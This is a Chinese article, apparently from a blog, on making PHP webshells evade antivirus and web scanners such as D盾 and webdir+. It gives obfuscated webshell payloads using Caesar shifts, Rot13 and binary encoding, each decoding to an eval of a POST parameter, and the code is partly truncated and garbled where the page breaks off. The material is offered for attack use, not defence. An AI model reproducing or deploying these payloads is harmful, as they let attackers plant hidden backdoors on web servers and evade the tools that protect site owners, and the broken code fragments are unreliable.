赞
踩
一些webshell免杀的技巧
0x00:前言
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。
0x01:自定义加密Bypass
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
比如这个 都能被检测出是shell
所以为了防止这种的规则 自定义加密显然是最优解
自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测
base32编码payload
(https://github.com/pureqh/webshell):
ascii码移位payload(凯撒加密)
<?php class FKPC{ function __construct(){ $this->TQYV = "bs^i%!\MLPQXwbolZ&8"; $this->WZDM = @HHGJ($this->TQYV); @eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/"); }} new FKPC(); function HHGJ($UyGv) { $svfe = []; $mxAS = ''; $f = $UyGv; for ($i=0;$i居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了
Rot13加密payload
<?php class KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = 'riny($_CBFG[mreb]);'; $this->LRXV = @str_rot13($this->DAXW); @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/"); }} new KUYE(); ?>二进制转化payload
<?php class KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011'; $this->LRXV = @BinToStr($this->DAXW); @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/"); }} new KUYE(); function BiCopyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。